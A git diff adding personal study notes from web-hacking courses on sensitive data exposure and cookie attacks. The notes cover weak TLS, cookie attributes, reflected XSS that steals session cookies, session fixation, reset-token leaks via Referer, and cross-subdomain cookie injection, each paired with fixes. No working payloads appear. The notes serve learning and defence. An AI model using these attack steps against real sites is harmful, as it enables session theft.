writes to the index.php file trashing the site with "You are hacked". diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-5 - Insecure Communication Channel.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-5 - Insecure Communication Channel.txt new file mode 100644 index 0000000..903cdc8 --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-5 - Insecure Communication Channel.txt @@ -0,0 +1,57 @@ +Overview: + -- HTTP vs. HTTPS + -- Demo: HTTP vs. HTTPS + -- HTTPS + -- Problems with Transport Layer Protection + -- Demo: Problems with Transport Layer Protection + + + + +:: HTTP vs. HTTPS :: +-- Tool(s) -- + +Http is insecure +Https is secure +Data is exposed...yada yada yada + + +:: Demo: HTTP vs. HTTPS :: +-- Tool(s) -- + +Uses proxy to view data from http site and user creds + + + + +:: HTTPS :: +-- Tool(s) -- +XD Sorry, duh stuff at this point... + + + +:: Problems with Transport Layer Protection :: +(Basically, could be using poor encryption standards... Thanks NSA) +-- Tool(s) -- + Scanner For Transport Layer Protection + https://www.ssllabs.com/ssltest/ + +Insecure protocols + SSL3 <-- Vulnerable against POODLE attack <-- This guy fucking with me? XD + +Insecure ciphers + TLS_RSA_WITH_RC4_128_SHA + +Vulnerable libraries + Heartbleed + + + + +:: Demo: Problems with Transport Layer Protection :: +-- Tool(s) -- + +He uses https://www.ssllabs.com/ssltest/ scanner to check his vulnerable site. +He uses suggest documents to mitigate potential threats through its instructions. + +One could likely use https://www.exploit-db.com to Find and download exploit... diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-6 - Leakage of Cookie with Sensitive Data.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-6 - Leakage of Cookie with Sensitive Data.txt new file mode 100644 index 0000000..b3f0e28 --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-6 - Leakage of Cookie with Sensitive Data.txt @@ -0,0 +1,42 @@ +Overview: + -- Importance of Secure Cookie Processing + -- Cookie Processing Fundamentals + -- Secure Attribute + -- Demo + + + +:: Importance of Secure Cookie Processing :: +-- Tool(s) -- +Leakage of session ID through cookie leads to user impersonation +Two-fac does not protect against session ID loss/leak + + + + +:: Cookie Processing Fundamentals :: +-- Tool(s) -- + +Set-Cookie <-- Header from server which creates cookie +Format: + Name + Value + Optional Attributes + + + +:: Secure Attribute :: +-- Tool(s) -- + +Set-Cookie: name=value <-- sent over HTTP and HTTPS +Set-Cookie: name=value;secure <-- sent ONLY over HTTPS + + + + +:: Demo :: +-- Tool(s) -- + +Uses test app and looks at cookies info. Sees httponly and secure are unset. +Gets redirected from http to https. The cookie was set and disclosed b4 redirect. +He sets the secure attribute through his browser for example but the sessionid is undesclosed. diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-7 - Leakage of Sensitive Data via Referer Header.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-7 - Leakage of Sensitive Data via Referer Header.txt new file mode 100644 index 0000000..d8e41cb --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-7 - Leakage of Sensitive Data via Referer Header.txt @@ -0,0 +1,49 @@ +Overview: + -- Password Reset Link + -- Leakage via Referer Header + -- Demo + -- Fixing the Problem + + + +:: Password Reset Link :: +-- Tool(s) -- + +Common Link Structures: + /reset.php?token=kj5h9gf7ed8rf89tjhg + "BAD": + /reset.php?userID=3451&token=kj5h9gf7ed8rf89tjhg + Token should be unique to userID and id shouldn't be used. + + + + +:: Leakage via Referer Header :: +-- Tool(s) -- + +When browser fetching say an image, it makes a call to the link. +Users password reset link is transferred to external domain +The referer domain leaks the link. But, if it had the ID too +then a hacker could use that too. + +Fix: Change the referer domain? Expire reset links in a timly manner... + + + +:: Demo :: +-- Tool(s) -- + +-- Link(s) -- + https://silesiasecuritylab.com/ + + +Looks at referer info from image call. + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Don't fetch the content from an external domain. +Host it yourself. At least on the reset link and login links... diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/Course Overview.txt b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/Course Overview.txt new file mode 100644 index 0000000..55a9931 --- /dev/null +++ b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/Course Overview.txt @@ -0,0 +1,9 @@ +Concepts: + ... + +Overview: + -- Leakage of Cookie with Sensitive Data + -- Cookie Hijacking + -- Weaknesses in Cookie Lifecycle + -- Underestimated Risk: XSS via Cookie + -- Remote Cookie Tampering diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/cookie-attacks-web-app-hacking.zip b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/cookie-attacks-web-app-hacking.zip new file mode 100644 index 0000000..dec3059 Binary files /dev/null and b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/cookie-attacks-web-app-hacking.zip differ diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/module-5-image-1.png b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/module-5-image-1.png new file mode 100644 index 0000000..f58d1ab Binary files /dev/null and b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/module-5-image-1.png differ diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/module-5-image-2.png b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/module-5-image-2.png new file mode 100644 index 0000000..5ed697b Binary files /dev/null and b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/materials/module-5-image-2.png differ diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-1 - Leakage of Cookie with Sensitive Data.txt b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-1 - Leakage of Cookie with Sensitive Data.txt new file mode 100644 index 0000000..bf8287c --- /dev/null +++ b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-1 - Leakage of Cookie with Sensitive Data.txt @@ -0,0 +1,25 @@ +Overview: + -- HTTP vs. HTTPS + -- Secure Attribute + -- Demo + + + +:: HTTP vs. HTTPS :: +-- Tool(s) -- + +HTTP: Insecure +HTTPS: Secure + + + + +:: Secure Attribute :: +-- Tool(s) -- + +Enforcers cookie transfer only over HTTPS through secure attribute. + + +:: Demo :: +-- Tool(s) -- +Skipped diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-2 - Cookie Hijacking.txt b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-2 - Cookie Hijacking.txt new file mode 100644 index 0000000..5e35264 --- /dev/null +++ b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-2 - Cookie Hijacking.txt @@ -0,0 +1,49 @@ +Overview: + -- Introduction to XSS Attack + -- HttpOnly Attribute + -- Demo + + + +:: Introduction to XSS Attack :: +-- Tool(s) -- + +Reflected Attack + User could be prompted by malicious link. + Link runs script which pulls all cookies + and sends to offload site. + + + + +:: HttpOnly Attribute :: +-- Tool(s) -- + +Prevents JS from having access to the cookie. +The cookie can still be sent via headers. +Still need secure argument for transferring +across only HTTPS + + + + +:: Demo :: +-- Tool(s) -- + +Shows XSS works +Can send link to victim with malicious search which reflects +a script back to the page. The script tag has a script written that requests +the cookies. + +NOTE: This was done through URL parameters + Session ID was NOT set to httponly!! + + +Fixes: + 1. Use httponly attribute on sensitive data! + (This doesn't fix the XSS though! It just prevents certain losses.) + 2. Proper sanitized return data! + The script got embedded to the page b/c the page + presents a message of what was queried. + Do generic responses than taking users input. + Simpler than worrying about proper sanitation... diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-3 - Weaknesses in Cookie Lifecycle.txt b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-3 - Weaknesses in Cookie Lifecycle.txt new file mode 100644 index 0000000..07c7461 --- /dev/null +++ b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-3 - Weaknesses in Cookie Lifecycle.txt @@ -0,0 +1,44 @@ +Overview: + -- Importance of Regeneration + -- Demo + -- Server-side Invalidation + -- Demo + + + +:: Importance of Regeneration :: +-- Tool(s) -- + + +1. User is logged out: SID=abc +2. Attacker learns user's SID +3. User logs in: SID=abc +4. Attacker can impersonate user + +Fix Make sure to regenerate SID periodically. + + + +:: Demo :: +-- Tool(s) -- + +Nothing new shown... + + + + +:: Server-side Invalidation :: +-- Tool(s) -- + +Options: + Log users out and clear cookiesl; clear IDs server side too! + Change IDs periodically and invalidate the others. + + + + +:: Demo :: +-- Tool(s) -- + +Nothing new shown... +Basically shows that the server also needs to invalidate IDs diff --git a/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-4 - Underestimated Risk: XSS via Cookie.txt b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-4 - Underestimated Risk: XSS via Cookie.txt new file mode 100644 index 0000000..3d54193 --- /dev/null +++ b/src/Security/Training/Phase1/666_Web App Hacking: Cookie Attacks/module-4 - Underestimated Risk: XSS via Cookie.txt @@ -0,0 +1,32 @@ +Overview: + -- XSS via Cookie + -- Cross-origin Exploitation + -- Demo + -- Fixing the Problem + + + + +:: XSS via Cookie :: && :: Cross-origin Exploitation :: +-- Tool(s) -- + +Script is ran via a cookie. +An attacker can set the cookie remotely. +When the domain is visited by the user, XSS via cookie is automatically executed. + +Ex: + 1. Attacker found no exploits in the domain a.example.com (XSS via cookie). + 2. b.example.com (XSS) <-- Attacker can set cookie from here. + 3. Attacker sets the cookie with domain=.example.com from b server + 4. Cookie is appended to outgoing request to server a + 5. Contents are reflected back to browser from server a b/c of aoppended cookie. + + + + +:: Fixing the Problem :: +-- Tool(s) -- + OWASP Sanitizer + +Sanitize return data. +Insert messages from user into a